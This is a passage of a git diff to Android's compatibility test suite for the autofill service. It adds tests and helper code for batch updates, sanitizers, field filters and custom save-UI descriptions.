+ public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+ Log.e(TAG, "onSaveRequest() should never be called");
+ throw new UnsupportedOperationException("onSaveRequest() should never be called");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
new file mode 100644
index 0000000..f17f7dc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.InternalTransformation;
+import android.service.autofill.Transformation;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BatchUpdatesTest {
+
+ private final BatchUpdates.Builder mBuilder = new BatchUpdates.Builder();
+
+ @Test
+ public void testAddTransformation_null() {
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.transformChild(42, null));
+ }
+
+ @Test
+ public void testAddTransformation_invalidClass() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.transformChild(42, mock(Transformation.class)));
+ }
+
+ @Test
+ public void testSetUpdateTemplate_null() {
+ assertThrows(NullPointerException.class, () -> mBuilder.updateTemplate(null));
+ }
+
+ @Test
+ public void testEmptyObject() {
+ assertThrows(IllegalStateException.class, () -> mBuilder.build());
+ }
+
+ @Test
+ public void testNoMoreChangesAfterBuild() {
+ assertThat(mBuilder.updateTemplate(mock(RemoteViews.class)).build()).isNotNull();
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.updateTemplate(mock(RemoteViews.class)));
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.transformChild(42, mock(InternalTransformation.class)));
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index cf2cc6d..26aeb4d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -27,8 +27,11 @@
import android.service.autofill.Dataset;
import android.service.autofill.FillCallback;
import android.service.autofill.FillResponse;
+import android.service.autofill.Sanitizer;
import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
import android.service.autofill.Validator;
+import android.util.Pair;
import android.view.autofill.AutofillId;
import android.view.autofill.AutofillValue;
import android.widget.RemoteViews;
@@ -39,6 +42,7 @@
import java.util.List;
import java.util.Map;
import java.util.function.Function;
+import java.util.regex.Pattern;
/**
* Helper class used to produce a {@link FillResponse} based on expected fields that should be
@@ -59,6 +63,7 @@
private final ResponseType mResponseType;
private final List<CannedDataset> mDatasets;
+ private final ArrayList<Pair<Sanitizer, AutofillId[]>> mSanitizers;
private final String mFailureMessage;
private final int mSaveType;
private final Validator mValidator;
@@ -73,7 +78,12 @@
private final String[] mIgnoredIds;
private final int mNegativeActionStyle;
private final IntentSender mNegativeActionListener;
- private final int mFlags;
+ private final int mSaveInfoFlags;
+ private final int mFillResponseFlags;
+ private final AutofillId mSaveTriggerId;
+ private final long mDisableDuration;
+ private final AutofillId[] mFieldClassificationIds;
+ private final boolean mFieldClassificationIdsOverflow;
private CannedFillResponse(Builder builder) {
mResponseType = builder.mResponseType;
@@ -92,7 +102,13 @@
mIgnoredIds = builder.mIgnoredIds;
mNegativeActionStyle = builder.mNegativeActionStyle;
mNegativeActionListener = builder.mNegativeActionListener;
- mFlags = builder.mFlags;
+ mSanitizers = builder.mSanitizers;
+ mSaveInfoFlags = builder.mSaveInfoFlags;
+ mFillResponseFlags = builder.mFillResponseFlags;
+ mSaveTriggerId = builder.mSaveTriggerId;
+ mDisableDuration = builder.mDisableDuration;
+ mFieldClassificationIds = builder.mFieldClassificationIds;
+ mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
}
/**
@@ -122,7 +138,18 @@
* structure.
*/
FillResponse asFillResponse(Function<String, ViewNode> nodeResolver) {
- final FillResponse.Builder builder = new FillResponse.Builder();
+ return asFillResponse(null, nodeResolver);
+
+ }
+
+ /**
+ * Creates a new response, replacing the dataset field ids by the real ids from the assist
+ * structure.
+ */
+ FillResponse asFillResponse(InstrumentedAutoFillService service,
+ Function<String, ViewNode> nodeResolver) {
+ final FillResponse.Builder builder = new FillResponse.Builder()
+ .setFlags(mFillResponseFlags);
if (mDatasets != null) {
for (CannedDataset cannedDataset : mDatasets) {
final Dataset dataset = cannedDataset.asDataset(nodeResolver);
@@ -137,7 +164,7 @@
: new SaveInfo.Builder(mSaveType,
getAutofillIds(nodeResolver, mRequiredSavableIds));
- saveInfo.setFlags(mFlags);
+ saveInfo.setFlags(mSaveInfoFlags);
if (mValidator != null) {
saveInfo.setValidator(mValidator);
@@ -153,6 +180,14 @@
if (mCustomDescription != null) {
saveInfo.setCustomDescription(mCustomDescription);
}
+
+ for (Pair<Sanitizer, AutofillId[]> sanitizer : mSanitizers) {
+ saveInfo.addSanitizer(sanitizer.first, sanitizer.second);
+ }
+
+ if (mSaveTriggerId != null) {
+ saveInfo.setTriggerId(mSaveTriggerId);
+ }
builder.setSaveInfo(saveInfo.build());
}
if (mIgnoredIds != null) {
@@ -162,9 +197,23 @@
builder.setAuthentication(getAutofillIds(nodeResolver, mAuthenticationIds),
mAuthentication, mPresentation);
}
- return builder
- .setClientState(mExtras)
- .build();
+ if (mDisableDuration > 0) {
+ builder.disableAutofill(mDisableDuration);
+ }
+ if (mFieldClassificationIdsOverflow) {
+ final int length = UserData.getMaxFieldClassificationIdsSize() + 1;
+ final AutofillId[] fieldIds = new AutofillId[length];
+ for (int i = 0; i < length; i++) {
+ fieldIds[i] = new AutofillId(i);
+ }
+ builder.setFieldClassificationIds(fieldIds);
+ } else if (mFieldClassificationIds != null) {
+ builder.setFieldClassificationIds(mFieldClassificationIds);
+ }
+ if (mExtras != null) {
+ builder.setClientState(mExtras);
+ }
+ return builder.build();
}
@Override
@@ -173,7 +222,8 @@
+ ",datasets=" + mDatasets
+ ", requiredSavableIds=" + Arrays.toString(mRequiredSavableIds)
+ ", optionalSavableIds=" + Arrays.toString(mOptionalSavableIds)
- + ", flags=" + mFlags
+ + ", saveInfoFlags=" + mSaveInfoFlags
+ + ", fillResponseFlags=" + mFillResponseFlags
+ ", failureMessage=" + mFailureMessage
+ ", saveDescription=" + mSaveDescription
+ ", mCustomDescription=" + mCustomDescription
@@ -181,6 +231,11 @@
+ ", hasAuthentication=" + (mAuthentication != null)
+ ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
+ ", ignoredIds=" + Arrays.toString(mIgnoredIds)
+ + ", sanitizers =" + mSanitizers
+ + ", saveTriggerId=" + mSaveTriggerId
+ + ", disableDuration=" + mDisableDuration
+ + ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
+ + ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
+ "]";
}
@@ -192,6 +247,7 @@
static class Builder {
private final List<CannedDataset> mDatasets = new ArrayList<>();
+ private final ArrayList<Pair<Sanitizer, AutofillId[]>> mSanitizers = new ArrayList<>();
private final ResponseType mResponseType;
private String mFailureMessage;
private Validator mValidator;
@@ -207,7 +263,12 @@
private String[] mIgnoredIds;
private int mNegativeActionStyle;
private IntentSender mNegativeActionListener;
- private int mFlags;
+ private int mSaveInfoFlags;
+ private int mFillResponseFlags;
+ private AutofillId mSaveTriggerId;
+ private long mDisableDuration;
+ private AutofillId[] mFieldClassificationIds;
+ private boolean mFieldClassificationIdsOverflow;
public Builder(ResponseType type) {
mResponseType = type;
@@ -240,8 +301,13 @@
return this;
}
- public Builder setFlags(int flags) {
- mFlags = flags;
+ public Builder setSaveInfoFlags(int flags) {
+ mSaveInfoFlags = flags;
+ return this;
+ }
+
+ public Builder setFillResponseFlags(int flags) {
+ mFillResponseFlags = flags;
return this;
}
@@ -312,6 +378,14 @@
return this;
}
+ /**
+ * Adds a save sanitizer.
+ */
+ public Builder addSanitizer(Sanitizer sanitizer, AutofillId... ids) {
+ mSanitizers.add(new Pair<>(sanitizer, ids));
+ return this;
+ }
+
public CannedFillResponse build() {
return new CannedFillResponse(this);
}
@@ -324,6 +398,34 @@
mFailureMessage = message;
return this;
}
+
+ /**
+ * Sets the view that explicitly triggers save.
+ */
+ public Builder setSaveTriggerId(AutofillId id) {
+ assertWithMessage("already set").that(mSaveTriggerId).isNull();
+ mSaveTriggerId = id;
+ return this;
+ }
+
+ public Builder disableAutofill(long duration) {
+ assertWithMessage("already set").that(mDisableDuration).isEqualTo(0L);
+ mDisableDuration = duration;
+ return this;
+ }
+
+ // TODO(b/67867469): document
+ public Builder setFieldClassificationIds(AutofillId... ids) {
+ assertWithMessage("already set").that(mFieldClassificationIds).isNull();
+ mFieldClassificationIds = ids;
+ return this;
+ }
+
+ // TODO(b/67867469): document
+ public Builder setFieldClassificationIdsOverflow() {
+ mFieldClassificationIdsOverflow = true;
+ return this;
+ }
}
/**
@@ -344,6 +446,7 @@
static class CannedDataset {
private final Map<String, AutofillValue> mFieldValues;
private final Map<String, RemoteViews> mFieldPresentations;
+ private final Map<String, Pattern> mFieldFilters;
private final RemoteViews mPresentation;
private final IntentSender mAuthentication;
private final String mId;
@@ -351,6 +454,7 @@
private CannedDataset(Builder builder) {
mFieldValues = builder.mFieldValues;
mFieldPresentations = builder.mFieldPresentations;
+ mFieldFilters = builder.mFieldFilters;
mPresentation = builder.mPresentation;
mAuthentication = builder.mAuthentication;
mId = builder.mId;
@@ -374,10 +478,19 @@
final AutofillId autofillid = node.getAutofillId();
final AutofillValue value = entry.getValue();
final RemoteViews presentation = mFieldPresentations.get(id);
+ final Pattern filter = mFieldFilters.get(id);
if (presentation != null) {
- builder.setValue(autofillid, value, presentation);
+ if (filter == null) {
+ builder.setValue(autofillid, value, presentation);
+ } else {
+ builder.setValue(autofillid, value, filter, presentation);
+ }
} else {
- builder.setValue(autofillid, value);
+ if (filter == null) {
+ builder.setValue(autofillid, value);
+ } else {
+ builder.setValue(autofillid, value, filter);
+ }
}
}
}
@@ -390,12 +503,15 @@
return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
+ ", fieldPresentations=" + (mFieldPresentations)
+ ", hasAuthentication=" + (mAuthentication != null)
- + ", fieldValues=" + mFieldValues + "]";
+ + ", fieldValues=" + mFieldValues
+ + ", fieldFilters=" + mFieldFilters + "]";
}
static class Builder {
private final Map<String, AutofillValue> mFieldValues = new HashMap<>();
private final Map<String, RemoteViews> mFieldPresentations = new HashMap<>();
+ private final Map<String, Pattern> mFieldFilters = new HashMap<>();
+
private RemoteViews mPresentation;
private IntentSender mAuthentication;
private String mId;
@@ -420,6 +536,17 @@
}
/**
+ * Sets the canned value of a text field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
+ */
+ public Builder setField(String id, String text, Pattern filter) {
+ return setField(id, AutofillValue.forText(text), filter);
+ }
+
+ /**
* Sets the canned value of a list field based on its its {@code id}.
*
* <p>The meaning of the id is defined by the object using the canned dataset.
@@ -465,6 +592,19 @@
}
/**
+ * Sets the canned value of a date field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
+ */
+ public Builder setField(String id, AutofillValue value, Pattern filter) {
+ setField(id, value);
+ mFieldFilters.put(id, filter);
+ return this;
+ }
+
+ /**
* Sets the canned value of a field based on its {@code id}.
*
* <p>The meaning of the id is defined by the object using the canned dataset.
@@ -478,6 +618,20 @@
}
/**
+ * Sets the canned value of a field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
+ */
+ public Builder setField(String id, String text, RemoteViews presentation,
+ Pattern filter) {
+ setField(id, text, presentation);
+ mFieldFilters.put(id, filter);
+ return this;
+ }
+
+ /**
* Sets the view to present the response in the UI.
*/
public Builder setPresentation(RemoteViews presentation) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
index 59b0b7c..d40cf5e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
@@ -44,6 +44,7 @@
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
import android.service.autofill.CharSequenceTransformation;
import android.service.autofill.CustomDescription;
+import android.service.autofill.ImageTransformation;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiObject2;
import android.widget.ArrayAdapter;
@@ -249,11 +250,20 @@
assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
}
+ @Test
+ public void testCustomizedSaveUi() throws Exception {
+ customizedSaveUi(false);
+ }
+
+ @Test
+ public void testCustomizedSaveUiWithContentDescription() throws Exception {
+ customizedSaveUi(true);
+ }
+
/**
* Tests that a spinner can be used on custom save descriptions.
*/
- @Test
- public void testCustomizedSaveUi() throws Exception {
+ private void customizedSaveUi(boolean withContentDescription) throws Exception {
// Set service.
enableService();
@@ -268,9 +278,18 @@
final CharSequenceTransformation trans2 = new CharSequenceTransformation
.Builder(mActivity.getCcExpiration().getAutofillId(), Pattern.compile("(.*)"), "$1")
.build();
+ final ImageTransformation trans3 = (withContentDescription
+ ? new ImageTransformation.Builder(mActivity.getCcNumber().getAutofillId(),
+ Pattern.compile("(.*)"), R.drawable.android,
+ "One image is worth thousand words")
+ : new ImageTransformation.Builder(mActivity.getCcNumber().getAutofillId(),
+ Pattern.compile("(.*)"), R.drawable.android))
+ .build();
+
final CustomDescription customDescription = new CustomDescription.Builder(presentation)
.addChild(R.id.first, trans1)
.addChild(R.id.second, trans2)
+ .addChild(R.id.img, trans3)
.build();
sReplier.addResponse(new CannedFillResponse.Builder()
@@ -294,7 +313,7 @@
final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
// Then make sure it does have the custom views on it...
- final UiObject2 staticText = saveUi.findObject(By.res(packageName, "static_text"));
+ final UiObject2 staticText = saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT));
assertThat(staticText).isNotNull();
assertThat(staticText.getText()).isEqualTo("YO:");
@@ -305,6 +324,15 @@
final UiObject2 expiration = saveUi.findObject(By.res(packageName, "second"));
assertThat(expiration).isNotNull();
assertThat(expiration.getText()).isEqualTo("today");
+
+ final UiObject2 image = saveUi.findObject(By.res(packageName, "img"));
+ assertThat(image).isNotNull();
+ final String contentDescription = image.getContentDescription();
+ if (withContentDescription) {
+ assertThat(contentDescription).isEqualTo("One image is worth thousand words");
+ } else {
+ assertThat(contentDescription).isNull();
+ }
}
/**
@@ -356,6 +384,6 @@
final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
// Then make sure it does not have the custom views on it...
- assertThat(saveUi.findObject(By.res(packageName, "static_text"))).isNull();
+ assertThat(saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT))).isNull();
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
index b7acfc6..bc39ffb 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
@@ -25,9 +25,12 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import android.service.autofill.BatchUpdates;
import android.service.autofill.CharSequenceTransformation;
import android.service.autofill.CustomDescription;
import android.service.autofill.ImageTransformation;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.test.uiautomator.By;
@@ -47,7 +50,7 @@
public class CustomDescriptionTest extends AutoFillServiceTestCase {
@Rule
public final AutofillActivityTestRule<LoginActivity> mActivityRule =
- new AutofillActivityTestRule<>(LoginActivity.class);
+ new AutofillActivityTestRule<>(LoginActivity.class);
private LoginActivity mActivity;
@@ -105,13 +108,13 @@
@Test
public void validTransformation() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
CharSequenceTransformation trans1 = new CharSequenceTransformation
.Builder(usernameId, Pattern.compile("(.*)"), "$1")
.addField(passwordId, Pattern.compile(".*(..)"), "..$1")
.build();
+ @SuppressWarnings("deprecation")
ImageTransformation trans2 = new ImageTransformation
.Builder(usernameId, Pattern.compile(".*"),
R.drawable.android).build();
@@ -120,31 +123,253 @@
.addChild(R.id.first, trans1)
.addChild(R.id.img, trans2)
.build();
- }, () -> assertSaveUiWithCustomDescriptionIsShown("usernm..wd"));
+ }, () -> assertSaveUiIsShownWithTwoLines("usernm..wd"));
+ }
+
+ @Test
+ public void validTransformationWithOneTemplateUpdate() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans1 = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+ .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+ .build();
+ @SuppressWarnings("deprecation")
+ ImageTransformation trans2 = new ImageTransformation
+ .Builder(usernameId, Pattern.compile(".*"),
+ R.drawable.android).build();
+ RemoteViews update = newTemplate(0); // layout id not really used
+ update.setViewVisibility(R.id.second, View.GONE);
+ Validator condition = new RegexValidator(usernameId, Pattern.compile(".*"));
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans1)
+ .addChild(R.id.img, trans2)
+ .batchUpdate(condition,
+ new BatchUpdates.Builder().updateTemplate(update).build())
+ .build();
+ }, () -> assertSaveUiIsShownWithJustOneLine("usernm..wd"));
+ }
+
+ @Test
+ public void validTransformationWithMultipleTemplateUpdates() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans1 = new CharSequenceTransformation.Builder(usernameId,
+ Pattern.compile("(.*)"), "$1")
+ .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+ .build();
+ @SuppressWarnings("deprecation")
+ ImageTransformation trans2 = new ImageTransformation.Builder(usernameId,
+ Pattern.compile(".*"), R.drawable.android)
+ .build();
+
+ Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+ Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+
+ // Line 1 updates
+ RemoteViews update1 = newTemplate(666); // layout id not really used
+ update1.setContentDescription(R.id.first, "First am I"); // valid
+ RemoteViews update2 = newTemplate(0); // layout id not really used
+ update2.setViewVisibility(R.id.first, View.GONE); // invalid
+
+ // Line 2 updates
+ RemoteViews update3 = newTemplate(-666); // layout id not really used
+ update3.setTextViewText(R.id.second, "First of his second name"); // valid
+ RemoteViews update4 = newTemplate(0); // layout id not really used
+ update4.setTextViewText(R.id.second, "SECOND of his second name"); // invalid
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans1)
+ .addChild(R.id.img, trans2)
+ .batchUpdate(validCondition,
+ new BatchUpdates.Builder().updateTemplate(update1).build())
+ .batchUpdate(invalidCondition,
+ new BatchUpdates.Builder().updateTemplate(update2).build())
+ .batchUpdate(validCondition,
+ new BatchUpdates.Builder().updateTemplate(update3).build())
+ .batchUpdate(invalidCondition,
+ new BatchUpdates.Builder().updateTemplate(update4).build())
+ .build();
+ }, () -> assertSaveUiWithLinesIsShown(
+ (line1) -> assertWithMessage("Wrong content description for line1")
+ .that(line1.getContentDescription()).isEqualTo("First am I"),
+ (line2) -> assertWithMessage("Wrong text for line2").that(line2.getText())
+ .isEqualTo("First of his second name"),
+ null));
+ }
+
+ @Test
+ public void testMultipleBatchUpdates_noConditionPass() throws Exception {
+ multipleBatchUpdatesTest(BatchUpdatesConditionType.NONE_PASS);
+ }
+
+ @Test
+ public void testMultipleBatchUpdates_secondConditionPass() throws Exception {
+ multipleBatchUpdatesTest(BatchUpdatesConditionType.SECOND_PASS);
+ }
+
+ @Test
+ public void testMultipleBatchUpdates_thirdConditionPass() throws Exception {
+ multipleBatchUpdatesTest(BatchUpdatesConditionType.THIRD_PASS);
+ }
+
+ @Test
+ public void testMultipleBatchUpdates_allConditionsPass() throws Exception {
+ multipleBatchUpdatesTest(BatchUpdatesConditionType.ALL_PASS);
+ }
+
+ private enum BatchUpdatesConditionType {
+ NONE_PASS,
+ SECOND_PASS,
+ THIRD_PASS,
+ ALL_PASS
+ }
+
+ /**
+ * Tests a custom description that has 3 transformations, one applied directly and the other
+ * 2 in batch updates.
+ *
+ * @param conditionsType defines which batch updates conditions will pass.
+ */
+ private void multipleBatchUpdatesTest(BatchUpdatesConditionType conditionsType)
+ throws Exception {
+
+ final boolean line2Pass = conditionsType == BatchUpdatesConditionType.SECOND_PASS
+ || conditionsType == BatchUpdatesConditionType.ALL_PASS;
+ final boolean line3Pass = conditionsType == BatchUpdatesConditionType.THIRD_PASS
+ || conditionsType == BatchUpdatesConditionType.ALL_PASS;
+
+ final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
+ .that(line1.getText()).isEqualTo("L1-u");
+
+ final Visitor<UiObject2> line2Visitor;
+ if (line2Pass) {
+ line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
+ .that(line2.getText()).isEqualTo("L2-u");
+ } else {
+ line2Visitor = null;
+ }
+
+ final Visitor<UiObject2> line3Visitor;
+ if (line3Pass) {
+ line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
+ .that(line3.getText()).isEqualTo("L3-p");
+ } else {
+ line3Visitor = null;
+ }
+
+ testCustomDescription((usernameId, passwordId) -> {
+ Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+ Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+ Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
+
+ final RemoteViews presentation =
+ newTemplate(R.layout.three_horizontal_text_fields_last_two_invisible);
+
+ final CharSequenceTransformation line1Transformation =
+ new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
+ .build();
+
+ final CharSequenceTransformation line2Transformation =
+ new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
+ .build();
+ final RemoteViews line2Updates = newTemplate(666); // layout id not really used
+ line2Updates.setViewVisibility(R.id.second, View.VISIBLE);
+
+ final CharSequenceTransformation line3Transformation =
+ new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
+ .build();
+ final RemoteViews line3Updates = newTemplate(666); // layout id not really used
+ line3Updates.setViewVisibility(R.id.third, View.VISIBLE);
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, line1Transformation)
+ .batchUpdate(line2Pass ? validCondition : invalidCondition,
+ new BatchUpdates.Builder()
+ .transformChild(R.id.second, line2Transformation)
+ .updateTemplate(line2Updates)
+ .build())
+ .batchUpdate(line3Pass ? validCondition : invalidCondition,
+ new BatchUpdates.Builder()
+ .transformChild(R.id.third, line3Transformation)
+ .updateTemplate(line3Updates)
+ .build())
+ .build();
+ }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
+ }
+
+ @Test
+ public void testBatchUpdatesApplyUpdateFirstThenTransformations() throws Exception {
+
+ final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
+ .that(line1.getText()).isEqualTo("L1-u");
+ final Visitor<UiObject2> line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
+ .that(line2.getText()).isEqualTo("L2-u");
+ final Visitor<UiObject2> line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
+ .that(line3.getText()).isEqualTo("L3-p");
+
+ testCustomDescription((usernameId, passwordId) -> {
+ Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+ Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+ Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
+
+ final RemoteViews presentation =
+ newTemplate(R.layout.two_horizontal_text_fields);
+
+ final CharSequenceTransformation line1Transformation =
+ new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
+ .build();
+
+ final CharSequenceTransformation line2Transformation =
+ new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
+ .build();
+
+ final CharSequenceTransformation line3Transformation =
+ new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
+ .build();
+ final RemoteViews line3Presentation = newTemplate(R.layout.third_line_only);
+ final RemoteViews line3Updates = newTemplate(666); // layout id not really used
+ line3Updates.addView(R.id.parent, line3Presentation);
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, line1Transformation)
+ .batchUpdate(validCondition,
+ new BatchUpdates.Builder()
+ .transformChild(R.id.second, line2Transformation)
+ .build())
+ .batchUpdate(validCondition,
+ new BatchUpdates.Builder()
+ .updateTemplate(line3Updates)
+ .transformChild(R.id.third, line3Transformation)
+ .build())
+ .build();
+ }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
}
@Test
public void badImageTransformation() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
- ImageTransformation trans = new ImageTransformation
- .Builder(usernameId, Pattern.compile(".*"), 1)
- .build();
+ @SuppressWarnings("deprecation")
+ ImageTransformation trans = new ImageTransformation.Builder(usernameId,
+ Pattern.compile(".*"), 1).build();
return new CustomDescription.Builder(presentation)
.addChild(R.id.img, trans)
.build();
- }, () -> assertSaveUiWithCustomDescriptionIsShown() );
+ }, () -> assertSaveUiWithCustomDescriptionIsShown());
}
@Test
public void unusedImageTransformation() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+ @SuppressWarnings("deprecation")
ImageTransformation trans = new ImageTransformation
.Builder(usernameId, Pattern.compile("invalid"), R.drawable.android)
.build();
@@ -158,9 +383,9 @@
@Test
public void applyImageTransformationToTextView() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+ @SuppressWarnings("deprecation")
ImageTransformation trans = new ImageTransformation
.Builder(usernameId, Pattern.compile(".*"), R.drawable.android)
.build();
@@ -174,8 +399,7 @@
@Test
public void failFirstFailAll() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
CharSequenceTransformation trans = new CharSequenceTransformation
.Builder(usernameId, Pattern.compile("(.*)"), "$42")
@@ -191,8 +415,7 @@
@Test
public void failSecondFailAll() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
CharSequenceTransformation trans = new CharSequenceTransformation
.Builder(usernameId, Pattern.compile("(.*)"), "$1")
@@ -208,8 +431,7 @@
@Test
public void applyCharSequenceTransformationToImageView() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
CharSequenceTransformation trans = new CharSequenceTransformation
.Builder(usernameId, Pattern.compile("(.*)"), "$1")
@@ -232,8 +454,7 @@
final CharSequenceTransformation secondTrans = new CharSequenceTransformation
.Builder(usernameId, Pattern.compile("(MARCO)"), "POLO")
.build();
- final RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
final CustomDescription customDescription = new CustomDescription.Builder(presentation)
.addChild(R.id.first, firstTrans)
.addChild(R.id.first, secondTrans)
@@ -256,7 +477,7 @@
mActivity.tapLogin();
final String expectedText = matchFirst ? "polo" : "POLO";
- assertSaveUiWithCustomDescriptionIsShown(expectedText);
